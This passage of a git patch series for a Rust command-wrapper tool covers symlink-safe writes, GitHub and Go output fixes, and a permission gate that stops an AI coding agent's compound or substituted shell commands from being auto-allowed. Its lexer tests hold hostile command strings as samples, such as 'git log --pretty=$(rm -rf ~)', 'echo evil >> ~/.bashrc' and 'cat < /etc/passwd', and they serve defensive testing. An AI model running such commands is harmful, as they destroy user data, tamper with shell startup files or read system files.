&str) -> Result<()> { .with_context(|| format!("Failed to write {} bytes to temp file", content.len()))?; // Atomic rename - temp_file.persist(path).with_context(|| { + temp_file.persist(&target).with_context(|| { format!( "Failed to atomically replace {} (disk full?)", - path.display() + target.display() ) })?; @@ -5349,6 +5373,48 @@ mod tests { assert_eq!(written, content); } + #[cfg(unix)] + #[test] + fn test_atomic_write_preserves_symlink() { + use std::os::unix::fs::symlink; + + let temp = TempDir::new().unwrap(); + let target_path = temp.path().join("real-settings.json"); + let link_path = temp.path().join("settings.json"); + + fs::write(&target_path, "{}").expect("seed target file"); + symlink(&target_path, &link_path).expect("create symlink"); + + atomic_write(&link_path, "{\"hooks\":{}}").unwrap(); + + let meta = fs::symlink_metadata(&link_path).unwrap(); + assert!(meta.file_type().is_symlink(), "symlink must survive"); + let written = fs::read_to_string(&target_path).unwrap(); + assert_eq!(written, "{\"hooks\":{}}"); + } + + #[cfg(unix)] + #[test] + fn test_atomic_write_preserves_relative_symlink() { + use std::os::unix::fs::symlink; + + let temp = TempDir::new().unwrap(); + let subdir = temp.path().join("real"); + fs::create_dir(&subdir).unwrap(); + let target_path = subdir.join("settings.json"); + let link_path = temp.path().join("settings.json"); + + fs::write(&target_path, "{}").expect("seed target file"); + symlink(Path::new("real/settings.json"), &link_path).expect("create relative symlink"); + + atomic_write(&link_path, "{\"patched\":true}").unwrap(); + + let meta = fs::symlink_metadata(&link_path).unwrap(); + assert!(meta.file_type().is_symlink(), "symlink must survive"); + let written = fs::read_to_string(&target_path).unwrap(); + assert_eq!(written, "{\"patched\":true}"); + } + // Test for preserve_order round-trip #[test] fn test_preserve_order_round_trip() { From f1474b4c12ec3a3d9f8e46b14bfd8b2d70119137 Mon Sep 17 00:00:00 2001 From: "Christian C. Berclaz" Date: Sun, 31 May 2026 11:15:38 +0200 Subject: [PATCH 40/52] fix(init): use fs::canonicalize for symlink resolution MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Simplify resolve_atomic_target() per review feedback — fs::canonicalize handles chained symlinks, relative paths, and all edge cases. Co-authored-by: Roopesh --- src/hooks/init.rs | 22 +++------------------- 1 file changed, 3 insertions(+), 19 deletions(-) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 713ad3187e..4c68ec49b2 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -385,31 +385,15 @@ fn write_if_changed(path: &Path, content: &str, name: &str, ctx: InitContext) -> /// Resolve the final write target: if `path` is a symlink, follow it so /// the atomic rename lands on the real file and the symlink is preserved. -fn resolve_atomic_target(path: &Path) -> Result { - if let Ok(meta) = fs::symlink_metadata(path) { - if meta.file_type().is_symlink() { - let link_target = fs::read_link(path) - .with_context(|| format!("Failed to read symlink target: {}", path.display()))?; - if link_target.is_absolute() { - return Ok(link_target); - } - let parent = path.parent().with_context(|| { - format!( - "Cannot resolve relative symlink for {}: no parent directory", - path.display() - ) - })?; - return Ok(parent.join(link_target)); - } - } - Ok(path.to_path_buf()) +fn resolve_atomic_target(path: &Path) -> PathBuf { + fs::canonicalize(path).unwrap_or_else(|_| path.to_path_buf()) } /// Atomic write using tempfile + rename /// Prevents corruption on crash/interrupt /// Follows symlinks so the link itself is preserved. fn atomic_write(path: &Path, content: &str) -> Result<()> { - let target = resolve_atomic_target(path)?; + let target = resolve_atomic_target(path); let parent = target.parent().with_context(|| { format!( "Cannot write to {}: path has no parent directory", From 41285725e446706204943d826d89e19608df0c03 Mon Sep 17 00:00:00 2001 From: patrick Date: Wed, 27 May 2026 23:37:15 +0200 Subject: [PATCH 41/52] fix(gh): show fallback note when PR/issue body is filtered to empty When `filter_markdown_body()` strips a PR or issue body to empty (body contained only badges, images, HTML comments, or horizontal rules), `format_pr_view` and `format_issue_view` previously skipped the body section silently. Users had no indication that body content had been present and filtered. Now both views emit a fallback note when the filtered body is empty but the raw body was not: PR view: (body contained only badges/images/comments) Issue view: Description: (body contained only badges/images/comments) The 4 added tests cover: - PR body with only badges/images/comments -> fallback note appears - PR body with real content -> no fallback note (sanity) - PR body empty (raw) -> no fallback note (no signal to give) - Issue body badges-only -> fallback note appears Closes #235 Co-authored-by: polaminggkub-debug --- src/cmds/git/gh_cmd.rs | 87 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 87 insertions(+) diff --git a/src/cmds/git/gh_cmd.rs b/src/cmds/git/gh_cmd.rs index 156b81e2a1..01cf2ac398 100644 --- a/src/cmds/git/gh_cmd.rs +++ b/src/cmds/git/gh_cmd.rs @@ -434,6 +434,8 @@ fn format_pr_view(json: &Value, ultra_compact: bool) -> String { for line in body_filtered.lines() { out.push_str(&format!(" {}\n", line)); } + } else { + out.push_str("\n (body contained only badges/images/comments)\n"); } } } @@ -694,6 +696,8 @@ fn format_issue_view(json: &Value) -> String { for line in body_filtered.lines() { out.push_str(&format!(" {}\n", line)); } + } else { + out.push_str("\n Description: (body contained only badges/images/comments)\n"); } } } @@ -1547,4 +1551,87 @@ ___ assert!(result.contains("## Test Plan")); assert!(result.contains("Filter HTML comments")); } + + #[test] + fn test_format_pr_view_body_badges_only_shows_fallback_note() { + // PR body that filter_markdown_body would strip entirely: + // HTML comments, badge links, image-only lines, horizontal rules. + let body = "\n\ + [![CI](https://shields.io/badge.svg)](https://ci.example.com)\n\ + ![screenshot](https://example.com/img.png)\n\ + ---\n"; + let json = serde_json::json!({ + "number": 42, + "title": "Test PR", + "state": "OPEN", + "author": { "login": "octocat" }, + "url": "https://github.com/foo/bar/pull/42", + "mergeable": "MERGEABLE", + "body": body, + }); + let out = format_pr_view(&json, false); + assert!( + out.contains("(body contained only badges/images/comments)"), + "expected fallback note when body filters to empty, got:\n{}", + out + ); + } + + #[test] + fn test_format_pr_view_body_with_content_no_fallback_note() { + // Sanity check: real content should NOT trigger the fallback note. + let json = serde_json::json!({ + "number": 42, + "title": "Test PR", + "state": "OPEN", + "author": { "login": "octocat" }, + "url": "https://github.com/foo/bar/pull/42", + "mergeable": "MERGEABLE", + "body": "## Summary\nFix the thing.\n", + }); + let out = format_pr_view(&json, false); + assert!( + !out.contains("(body contained only badges/images/comments)"), + "fallback note should not fire when body has real content, got:\n{}", + out + ); + assert!(out.contains("## Summary")); + assert!(out.contains("Fix the thing.")); + } + + #[test] + fn test_format_pr_view_empty_body_no_fallback_note() { + // Empty body should not trigger the note either (nothing to flag). + let json = serde_json::json!({ + "number": 42, + "title": "Test PR", + "state": "OPEN", + "author": { "login": "octocat" }, + "url": "https://github.com/foo/bar/pull/42", + "mergeable": "MERGEABLE", + "body": "", + }); + let out = format_pr_view(&json, false); + assert!(!out.contains("(body contained only badges/images/comments)")); + } + + #[test] + fn test_format_issue_view_body_badges_only_shows_fallback_note() { + let body = "\n\ + [![status](https://shields.io/s.svg)](https://example.com)\n"; + let json = serde_json::json!({ + "number": 99, + "title": "Test Issue", + "state": "OPEN", + "author": { "login": "octocat" }, + "url": "https://github.com/foo/bar/issues/99", + "body": body, + }); + let out = format_issue_view(&json); + assert!( + out.contains("(body contained only badges/images/comments)"), + "expected fallback note when issue body filters to empty, got:\n{}", + out + ); + } } From f69ad6ed6f3f17b66e203613e3015fee517783f9 Mon Sep 17 00:00:00 2001 From: xiaozh Date: Mon, 1 Jun 2026 00:00:43 +0800 Subject: [PATCH 42/52] fix(go): respect build failure exit status Gate go build success output on the child exit code and surface unrecognized non-zero build output instead of reporting success. Closes #2185. --- src/cmds/go/go_cmd.rs | 68 +++++++++++++++++- src/core/runner.rs | 156 ++++++++++++++++++++++++++++-------------- 2 files changed, 168 insertions(+), 56 deletions(-) diff --git a/src/cmds/go/go_cmd.rs b/src/cmds/go/go_cmd.rs index e962e3e1ca..a39e8bb1bd 100644 --- a/src/cmds/go/go_cmd.rs +++ b/src/cmds/go/go_cmd.rs @@ -92,11 +92,11 @@ pub fn run_build(args: &[String], verbose: u8) -> Result { eprintln!("Running: go build {}", args.join(" ")); } - runner::run_filtered( + runner::run_filtered_with_exit( cmd, "go build", &args.join(" "), - filter_go_build, + filter_go_build_with_exit, crate::core::runner::RunOptions::with_tee("go_build"), ) } @@ -571,6 +571,10 @@ fn is_go_test_failure_line(line: &str) -> bool { /// Filter go build output - show only errors pub(crate) fn filter_go_build(output: &str) -> String { + filter_go_build_with_exit(output, 0) +} + +fn filter_go_build_with_exit(output: &str, exit_code: i32) -> String { let mut errors: Vec = Vec::new(); for line in output.lines() { @@ -581,7 +585,11 @@ pub(crate) fn filter_go_build(output: &str) -> String { } if errors.is_empty() { - return "Go build: Success".to_string(); + return if exit_code == 0 { + "Go build: Success".to_string() + } else { + format_go_build_failure(output, exit_code) + }; } let mut result = String::new(); @@ -604,6 +612,37 @@ pub(crate) fn filter_go_build(output: &str) -> String { result.trim().to_string() } +fn format_go_build_failure(output: &str, exit_code: i32) -> String { + let lines: Vec = output + .lines() + .map(str::trim) + .filter(|line| !line.is_empty()) + .map(str::to_string) + .collect(); + + if lines.is_empty() { + return format!("Go build: failed (exit {})", exit_code); + } + + let mut result = String::new(); + result.push_str(&format!("Go build: failed (exit {})\n", exit_code)); + result.push_str("═══════════════════════════════════════\n"); + + const MAX_GO_BUILD_ERRORS: usize = CAP_ERRORS; + for (i, line) in lines.iter().take(MAX_GO_BUILD_ERRORS).enumerate() { + result.push_str(&format!("{}. {}\n", i + 1, truncate(line, 120))); + } + + if lines.len() > MAX_GO_BUILD_ERRORS { + result.push_str(&format!( + "\n… +{} more output lines\n", + lines.len() - MAX_GO_BUILD_ERRORS + )); + } + + result.trim().to_string() +} + fn is_go_build_error_line(line: &str) -> bool { let trimmed = line.trim(); if trimmed.is_empty() { @@ -646,6 +685,7 @@ fn is_go_build_error_line(line: &str) -> bool { "go: build failed", "go: error ", "error: ", + "pattern ", "go: updates to go.mod needed", "go: inconsistent vendoring", "no go files in ", @@ -991,6 +1031,28 @@ go: cannot load module missing listed in go.work file: open missing/go.mod: no s assert!(result.contains("go: cannot load module missing listed in go.work file")); } + #[test] + fn test_filter_go_build_preserves_package_pattern_errors() { + let output = r#"pattern ./...: directory prefix . does not contain main module or its selected dependencies +pattern ./...: directory prefix . does not contain modules listed in go.work or their selected dependencies"#; + + let result = filter_go_build(output); + assert!(result.contains("2 errors")); + assert!(result.contains("does not contain main module")); + assert!(result.contains("does not contain modules listed in go.work")); + assert!(!result.contains("Success")); + } + + #[test] + fn test_filter_go_build_nonzero_exit_never_reports_success() { + let output = "opaque go build failure from stderr"; + + let result = filter_go_build_with_exit(output, 1); + assert!(result.contains("Go build: failed (exit 1)")); + assert!(result.contains(output)); + assert!(!result.contains("Success")); + } + #[test] fn test_filter_go_vet_no_issues() { let output = ""; diff --git a/src/core/runner.rs b/src/core/runner.rs index 17f0997da0..571c7634b2 100644 --- a/src/core/runner.rs +++ b/src/core/runner.rs @@ -62,12 +62,79 @@ impl<'a> RunOptions<'a> { } } +pub type CaptureFilter<'a> = Box String + 'a>; +pub type ExitAwareCaptureFilter<'a> = Box String + 'a>; + pub enum RunMode<'a> { - Filtered(Box String + 'a>), + Filtered(CaptureFilter<'a>), + FilteredWithExit(ExitAwareCaptureFilter<'a>), Streamed(Box), Passthrough, } +fn run_captured_filter( + mut cmd: Command, + tool_name: &str, + cmd_label: &str, + filter_fn: F, + opts: RunOptions<'_>, + timer: tracking::TimedExecution, +) -> Result +where + F: Fn(&str, i32) -> String, +{ + let stdin_mode = if opts.inherit_stdin { + StdinMode::Inherit + } else { + StdinMode::Null + }; + let result = stream::run_streaming(&mut cmd, stdin_mode, FilterMode::CaptureOnly) + .with_context(|| format!("Failed to run {}", tool_name))?; + + let exit_code = result.exit_code; + let raw = &result.raw; + let raw_stdout = &result.raw_stdout; + + if opts.skip_filter_on_failure && exit_code != 0 { + if !result.raw_stdout.trim().is_empty() { + print!("{}", result.raw_stdout); + } + if !result.raw_stderr.trim().is_empty() { + eprint!("{}", result.raw_stderr); + } + timer.track(cmd_label, &format!("rtk {}", cmd_label), raw, raw); + return Ok(exit_code); + } + + let text_to_filter = if opts.filter_stdout_only { + raw_stdout + } else { + raw + }; + let filtered = filter_fn(text_to_filter, exit_code); + + if let Some(label) = opts.tee_label { + print_with_hint(&filtered, raw, label, exit_code); + } else if opts.no_trailing_newline { + print!("{}", filtered); + } else { + println!("{}", filtered); + } + + let raw_for_tracking = if opts.filter_stdout_only { + raw_stdout + } else { + raw + }; + timer.track( + cmd_label, + &format!("rtk {}", cmd_label), + raw_for_tracking, + &filtered, + ); + Ok(exit_code) +} + pub fn run( mut cmd: Command, tool_name: &str, @@ -79,58 +146,22 @@ pub fn run( let cmd_label = format!("{} {}", tool_name, args_display); match mode { - RunMode::Filtered(filter_fn) => { - let stdin_mode = if opts.inherit_stdin { - StdinMode::Inherit - } else { - StdinMode::Null - }; - let result = stream::run_streaming(&mut cmd, stdin_mode, FilterMode::CaptureOnly) - .with_context(|| format!("Failed to run {}", tool_name))?; - - let exit_code = result.exit_code; - let raw = &result.raw; - let raw_stdout = &result.raw_stdout; - - if opts.skip_filter_on_failure && exit_code != 0 { - if !result.raw_stdout.trim().is_empty() { - print!("{}", result.raw_stdout); - } - if !result.raw_stderr.trim().is_empty() { - eprint!("{}", result.raw_stderr); - } - timer.track(&cmd_label, &format!("rtk {}", cmd_label), raw, raw); - return Ok(exit_code); - } - - let text_to_filter = if opts.filter_stdout_only { - raw_stdout - } else { - raw - }; - let filtered = filter_fn(text_to_filter); - - if let Some(label) = opts.tee_label { - print_with_hint(&filtered, raw, label, exit_code); - } else if opts.no_trailing_newline { - print!("{}", filtered); - } else { - println!("{}", filtered); - } - - let raw_for_tracking = if opts.filter_stdout_only { - raw_stdout - } else { - raw - }; - timer.track( - &cmd_label, - &format!("rtk {}", cmd_label), - raw_for_tracking, - &filtered, - ); - Ok(exit_code) - } + RunMode::Filtered(filter_fn) => run_captured_filter( + cmd, + tool_name, + &cmd_label, + move |text, _| filter_fn(text), + opts, + timer, + ), + RunMode::FilteredWithExit(filter_fn) => run_captured_filter( + cmd, + tool_name, + &cmd_label, + move |text, exit_code| filter_fn(text, exit_code), + opts, + timer, + ), RunMode::Streamed(filter) => { let result = stream::run_streaming(&mut cmd, StdinMode::Null, FilterMode::Streaming(filter)) @@ -182,6 +213,25 @@ where ) } +pub fn run_filtered_with_exit( + cmd: Command, + tool_name: &str, + args_display: &str, + filter_fn: F, + opts: RunOptions<'_>, +) -> Result +where + F: Fn(&str, i32) -> String, +{ + run( + cmd, + tool_name, + args_display, + RunMode::FilteredWithExit(Box::new(filter_fn)), + opts, + ) +} + pub fn run_passthrough(tool: &str, args: &[std::ffi::OsString], verbose: u8) -> Result { if verbose > 0 { eprintln!("{} passthrough: {:?}", tool, args); From 89ae19b1cff8251e1b8a0ed590510bef2688bb7d Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Wed, 3 Jun 2026 14:01:32 +0200 Subject: [PATCH 43/52] fix(grep): command token duplication in output withsame value filename or positional arg --- src/core/args_utils.rs | 96 +++++++++++++++++++++++------------------- 1 file changed, 52 insertions(+), 44 deletions(-) diff --git a/src/core/args_utils.rs b/src/core/args_utils.rs index f5418b0cc8..e431783fb2 100644 --- a/src/core/args_utils.rs +++ b/src/core/args_utils.rs @@ -1,23 +1,27 @@ //! Utility functions for argument handling, particularly for restoring "--" escape //! arguments that clap consumes during parsing. -/// Restores "--" escape arguments that clap consumed. -/// Handles: -/// - Single/multiple "--" swallowed by clap (restores each at its original position) -/// - "--" already present in parsed (no change) -/// - No "--" in original command (no injection) -/// - Args appearing before/after "--" in original (preserves order) -/// - Interleaved "--" and args (preserves relative positions, e.g., "-- arg1 -- arg2") -/// - Duplicate args on both sides of "--" +/// Restores `--` tokens that clap consumed when using `trailing_var_arg = true`. /// -/// Returns parsed_args unchanged if raw has same or fewer "--" than parsed -/// (meaning clap didn't consume any, or preserved them). +/// Returns `parsed_args` unchanged when `raw_args` has the same or fewer `--` tokens +/// than `parsed_args` (nothing was consumed). Otherwise restores all consumed `--` at +/// their original positions by returning the user-args suffix of `raw_args` verbatim. pub fn restore_double_dash(parsed_args: &[String]) -> Vec { let raw_args: Vec = std::env::args().collect(); restore_double_dash_with_raw(parsed_args, &raw_args) } /// Testable version that takes raw_args explicitly. +/// +/// Precondition: all callers use `trailing_var_arg = true`, which guarantees that +/// `parsed_args` is the exact suffix of `raw_args` minus any `--` tokens that clap +/// stripped. This makes the user-args region length-deterministic: +/// +/// user_region_len = parsed_args.len() + missing_dashes +/// user_region_start = raw_args.len() - user_region_len +/// +/// Returning `raw_args[user_region_start..]` restores all stripped `--` tokens at +/// their original positions without any value-based matching. pub fn restore_double_dash_with_raw(parsed_args: &[String], raw_args: &[String]) -> Vec { let raw_dash_count = raw_args.iter().filter(|a| a.as_str() == "--").count(); let parsed_dash_count = parsed_args.iter().filter(|a| a.as_str() == "--").count(); @@ -26,36 +30,15 @@ pub fn restore_double_dash_with_raw(parsed_args: &[String], raw_args: &[String]) return parsed_args.to_vec(); } - // Find all positions of "--" in raw_args (skip index 0 = "rtk") - let mut dash_positions: Vec = Vec::new(); - for (i, arg) in raw_args.iter().enumerate().skip(1) { - if arg == "--" { - dash_positions.push(i); - } - } + let missing_dashes = raw_dash_count - parsed_dash_count; + let user_region_len = parsed_args.len() + missing_dashes; - if dash_positions.is_empty() { + if raw_args.len() <= user_region_len { return parsed_args.to_vec(); } - // Build result by inserting "--" at correct positions relative to parsed args - let mut result = Vec::new(); - let mut raw_idx = 1; // start after "rtk" - let mut dash_idx = 0; - - while raw_idx < raw_args.len() { - // Check if current position is a "--" that was swallowed - if dash_idx < dash_positions.len() && raw_idx == dash_positions[dash_idx] { - result.push("--".to_string()); - dash_idx += 1; - } else if parsed_args.contains(&raw_args[raw_idx]) { - // This arg is in parsed_args, add it - result.push(raw_args[raw_idx].clone()); - } - raw_idx += 1; - } - - result + let user_region_start = raw_args.len() - user_region_len; + raw_args[user_region_start..].to_vec() } #[cfg(test)] @@ -119,14 +102,6 @@ mod tests { assert_eq!(restore_with_raw(&parsed, &raw), vec!["--", "--"]); } - #[test] - fn test_compound_command_with_dashes() { - // Multiple segments with "--" → restore all - let raw = vec!["rtk", "cmd1", "--", "arg1", "&&", "cmd2", "--", "file"]; - let parsed = vec!["file"]; - assert_eq!(restore_with_raw(&parsed, &raw), vec!["--", "--", "file"]); - } - // ============ "--" already present (no change needed) ============ #[test] @@ -206,6 +181,39 @@ mod tests { assert_eq!(restore_with_raw(&parsed, &raw), vec!["-D", "warnings"]); } + // ============ Positional collision with command token ============ + + #[test] + fn test_positional_equals_subcommand() { + // rtk git diff -- diff: filename "diff" same value as subcommand token + let raw = vec!["rtk", "git", "diff", "--", "diff"]; + let parsed = vec!["diff"]; + assert_eq!(restore_with_raw(&parsed, &raw), vec!["--", "diff"]); + } + + #[test] + fn test_cargo_test_named_cargo() { + // rtk cargo test cargo -- --nocapture: test named "cargo" + let raw = vec!["rtk", "cargo", "test", "cargo", "--", "--nocapture"]; + let parsed = vec!["cargo", "--nocapture"]; + assert_eq!( + restore_with_raw(&parsed, &raw), + vec!["cargo", "--", "--nocapture"] + ); + } + + #[test] + fn test_consecutive_dashes_before_file() { + // rtk git diff -- -- file: stable regardless of how many "--" clap consumed + let raw = vec!["rtk", "git", "diff", "--", "--", "file"]; + // Case A: clap consumed one, kept second as positional + let parsed_a = vec!["--", "file"]; + assert_eq!(restore_with_raw(&parsed_a, &raw), vec!["--", "--", "file"]); + // Case B: clap consumed both + let parsed_b = vec!["file"]; + assert_eq!(restore_with_raw(&parsed_b, &raw), vec!["--", "--", "file"]); + } + // ============ Git diff specific cases ============ #[test] From 952245d39d099ed9a804dbba21bb0486f6aede16 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 17:57:29 +0200 Subject: [PATCH 44/52] fix(permissions): never auto-allow not evaluable + defer to the agent MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Decompose compound commands for permission checks (newline, background &, subshell `( )`) in addition to &&, ||, ;, | so hidden segments are checked. - `contains_unattestable_construct`: flag command/process substitution and file-target redirects (fd-dup `2>&1` and /dev/null exempt) — RTK can't decompose these, so they are never auto-allowed. - Route every host hook (Claude, VS Code, Gemini, Cursor, Copilot CLI) through a single decision flow. Precedence: Deny → (defer if unattestable) → Allow → Ask → Default. Auto-allow only on a positive Allow; otherwise defer to the host's own engine. - Gemini: ask_user instead of hardcoded allow. Cursor: empty `{}` delegation, since permission:"ask" is not enforced on its sandboxed shell. --- src/discover/lexer.rs | 257 ++++++++++++++++++++++ src/hooks/hook_cmd.rs | 462 +++++++++++++++++++++++++++------------ src/hooks/permissions.rs | 157 ++++++++++++- src/hooks/rewrite_cmd.rs | 105 +++++++-- 4 files changed, 818 insertions(+), 163 deletions(-) diff --git a/src/discover/lexer.rs b/src/discover/lexer.rs index 5fb366f3bd..865b74a94a 100644 --- a/src/discover/lexer.rs +++ b/src/discover/lexer.rs @@ -15,6 +15,10 @@ pub struct ParsedToken { } pub fn tokenize(input: &str) -> Vec { + tokenize_inner(input, false) +} + +fn tokenize_inner(input: &str, emit_newline: bool) -> Vec { let mut tokens = Vec::new(); let mut current = String::new(); let mut current_start: usize = 0; @@ -226,6 +230,16 @@ pub fn tokenize(input: &str) -> Vec { }); current_start = byte_pos; } + '\n' | '\r' if emit_newline => { + flush_arg(&mut tokens, &mut current, current_start); + tokens.push(ParsedToken { + kind: TokenKind::Operator, + value: "\n".into(), + offset: byte_pos, + }); + byte_pos += char_len; + current_start = byte_pos; + } c if c.is_whitespace() => { flush_arg(&mut tokens, &mut current, current_start); byte_pos += c.len_utf8(); @@ -258,6 +272,101 @@ fn flush_arg(tokens: &mut Vec, current: &mut String, offset: usize) } } +/// True for constructs the permission gate can't decompose, so they must never +/// be auto-allowed: command/process substitution, or a real file-target redirect +/// (fd-dup like `2>&1` and `/dev/null` are exempt). Separators and subshells are +/// handled by [`split_for_permissions`], not flagged here. +pub fn contains_unattestable_construct(cmd: &str) -> bool { + if contains_substitution(cmd) { + return true; + } + let tokens = tokenize(cmd); + tokens + .iter() + .enumerate() + .any(|(i, tok)| tok.kind == TokenKind::Redirect && redirect_has_file_target(&tokens, i)) +} + +/// Quote-aware: bash runs backtick/`$(...)` unquoted and inside double quotes, +/// but treats single-quoted text literally; `<(`/`>(` is unquoted-only. +fn contains_substitution(cmd: &str) -> bool { + let bytes = cmd.as_bytes(); + let mut in_single = false; + let mut in_double = false; + let mut i = 0; + while i < bytes.len() { + match bytes[i] { + b'\\' if !in_single => { + i += 2; + continue; + } + b'\'' if !in_double => in_single = !in_single, + b'"' if !in_single => in_double = !in_double, + b'`' if !in_single => return true, + b'$' if !in_single && bytes.get(i + 1) == Some(&b'(') => return true, + b'<' | b'>' if !in_single && !in_double && bytes.get(i + 1) == Some(&b'(') => { + return true + } + _ => {} + } + i += 1; + } + false +} + +/// File target unless it's fd-dup (`>&`) or `/dev/null`. +fn redirect_has_file_target(tokens: &[ParsedToken], i: usize) -> bool { + if tokens[i].value.contains(">&") { + return false; + } + match tokens.get(i + 1) { + Some(next) if next.kind == TokenKind::Arg => next.value != "/dev/null", + _ => true, + } +} + +/// Like [`split_on_operators`] but also breaks on newline, background `&`, and +/// subshell `( ... )`, and truncates each segment at its first redirect. +/// Callers must still gate on [`contains_unattestable_construct`] first. +pub fn split_for_permissions(cmd: &str) -> Vec<&str> { + let trimmed = cmd.trim(); + if trimmed.is_empty() { + return vec![]; + } + + let tokens = tokenize_inner(trimmed, true); + let mut results = Vec::new(); + let mut seg_start: usize = 0; + let mut seg_end: Option = None; + + for tok in &tokens { + let is_boundary = match tok.kind { + TokenKind::Operator | TokenKind::Pipe => true, + TokenKind::Shellism => matches!(tok.value.as_str(), "&" | "(" | ")"), + _ => false, + }; + + if is_boundary { + let end = seg_end.take().unwrap_or(tok.offset); + let segment = trimmed[seg_start..end].trim(); + if !segment.is_empty() { + results.push(segment); + } + seg_start = tok.offset + tok.value.len(); + } else if tok.kind == TokenKind::Redirect && seg_end.is_none() { + seg_end = Some(tok.offset); + } + } + + let end = seg_end.unwrap_or(trimmed.len()); + let tail = trimmed[seg_start..end].trim(); + if !tail.is_empty() { + results.push(tail); + } + + results +} + /// Split a shell command on operators (`&&`, `||`, `;`) and optionally pipes (`|`), /// respecting quoted strings via the lexer. /// @@ -1030,4 +1139,152 @@ mod tests { assert!(split_on_operators("", false).is_empty()); assert!(split_on_operators(" ", true).is_empty()); } + + // --- contains_unattestable_construct (security) ------------------------- + + #[test] + fn test_unattestable_backtick() { + assert!(contains_unattestable_construct("git status `whoami`")); + } + + #[test] + fn test_unattestable_command_substitution() { + assert!(contains_unattestable_construct( + "git log --pretty=$(rm -rf ~)" + )); + } + + #[test] + fn test_unattestable_process_substitution() { + assert!(contains_unattestable_construct("diff <(secret) <(other)")); + assert!(contains_unattestable_construct("tee >(cat)")); + } + + #[test] + fn test_unattestable_substitution_inside_double_quotes() { + assert!(contains_unattestable_construct( + r#"git log --pretty="$(rm -rf ~)""# + )); + assert!(contains_unattestable_construct( + r#"git log --pretty="`rm -rf ~`""# + )); + assert!(contains_unattestable_construct( + r#"git -c x="$(whoami)" status"# + )); + } + + #[test] + fn test_attestable_substitution_inside_single_quotes() { + assert!(!contains_unattestable_construct("echo '$(rm -rf ~)'")); + assert!(!contains_unattestable_construct("echo '`whoami`'")); + assert!(!contains_unattestable_construct(r#"echo "\$(rm -rf ~)""#)); + } + + #[test] + fn test_unattestable_file_redirects() { + assert!(contains_unattestable_construct("git log > /tmp/x")); + assert!(contains_unattestable_construct("echo evil >> ~/.bashrc")); + assert!(contains_unattestable_construct("cmd &> /tmp/x")); + assert!(contains_unattestable_construct("cat < /etc/passwd")); + assert!(contains_unattestable_construct("cat << EOF")); + } + + #[test] + fn test_attestable_fd_dup_and_devnull_redirects() { + assert!(!contains_unattestable_construct("git status 2>&1")); + assert!(!contains_unattestable_construct("cmd >&2")); + assert!(!contains_unattestable_construct("cmd 2>&-")); + assert!(!contains_unattestable_construct("cmd 2>/dev/null")); + assert!(!contains_unattestable_construct("cmd > /dev/null")); + assert!(!contains_unattestable_construct("cmd &> /dev/null")); + } + + #[test] + fn test_attestable_subshell_and_separators() { + assert!(!contains_unattestable_construct( + "(git status; cargo build)" + )); + assert!(!contains_unattestable_construct( + "git status && cargo build" + )); + assert!(!contains_unattestable_construct("git status; cargo build")); + assert!(!contains_unattestable_construct("git log | head")); + assert!(!contains_unattestable_construct("sleep 1 &")); + assert!(!contains_unattestable_construct("git status\ncargo build")); + } + + #[test] + fn test_attestable_variable_expansion() { + assert!(!contains_unattestable_construct("echo $HOME")); + assert!(!contains_unattestable_construct("echo ${HOME}")); + assert!(!contains_unattestable_construct("git status")); + assert!(!contains_unattestable_construct("")); + } + + // --- split_for_permissions --------------------------------------------- + + #[test] + fn test_split_perms_operators() { + assert_eq!( + split_for_permissions("git status && cargo build"), + vec!["git status", "cargo build"] + ); + assert_eq!( + split_for_permissions("git status; cargo build"), + vec!["git status", "cargo build"] + ); + assert_eq!( + split_for_permissions("git log | head"), + vec!["git log", "head"] + ); + } + + #[test] + fn test_split_perms_newline() { + assert_eq!( + split_for_permissions("git status\ncargo build"), + vec!["git status", "cargo build"] + ); + } + + #[test] + fn test_split_perms_background_ampersand() { + assert_eq!( + split_for_permissions("git status & rm -rf ~"), + vec!["git status", "rm -rf ~"] + ); + assert_eq!(split_for_permissions("sleep 1 &"), vec!["sleep 1"]); + } + + #[test] + fn test_split_perms_subshell() { + assert_eq!( + split_for_permissions("(git status; cargo build)"), + vec!["git status", "cargo build"] + ); + assert_eq!(split_for_permissions("((a; b); c)"), vec!["a", "b", "c"]); + } + + #[test] + fn test_split_perms_truncates_at_redirect() { + assert_eq!(split_for_permissions("git status 2>&1"), vec!["git status"]); + assert_eq!(split_for_permissions("git log > /tmp/x"), vec!["git log"]); + assert_eq!( + split_for_permissions("git push --force 2>&1"), + vec!["git push --force"] + ); + } + + #[test] + fn test_split_perms_newline_inside_quotes_not_split() { + let segments = split_for_permissions("echo 'line1\nline2'"); + assert_eq!(segments.len(), 1); + assert!(segments[0].starts_with("echo")); + } + + #[test] + fn test_split_perms_empty() { + assert!(split_for_permissions("").is_empty()); + assert!(split_for_permissions(" ").is_empty()); + } } diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 8870bf8d75..36fc353e58 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -125,23 +125,40 @@ fn get_rewritten(cmd: &str) -> Option { Some(rewritten) } -fn handle_vscode(cmd: &str) -> Result<()> { - let verdict = permissions::check_command(cmd); +enum HookDecision { + AllowRewrite(String), + AskRewrite(String), + Defer, + Deny, +} + +fn decide_from_verdict(cmd: &str, verdict: PermissionVerdict) -> HookDecision { if verdict == PermissionVerdict::Deny { - audit_log("deny", cmd, ""); - return Ok(()); + return HookDecision::Deny; + } + if crate::discover::lexer::contains_unattestable_construct(cmd) { + return HookDecision::Defer; + } + match get_rewritten(cmd) { + Some(r) if verdict == PermissionVerdict::Allow => HookDecision::AllowRewrite(r), + Some(r) => HookDecision::AskRewrite(r), + None => HookDecision::Defer, } +} - let rewritten = match get_rewritten(cmd) { - Some(r) => r, - None => return Ok(()), - }; +fn decide_hook_action(cmd: &str) -> HookDecision { + decide_from_verdict(cmd, permissions::check_command(cmd)) +} - // Allow (explicit rule matched): auto-allow the rewritten command. - // Ask/Default (no allow rule matched): rewrite but let the host tool prompt. - let decision = match verdict { - PermissionVerdict::Allow => "allow", - _ => "ask", +fn handle_vscode(cmd: &str) -> Result<()> { + let (decision, rewritten) = match decide_hook_action(cmd) { + 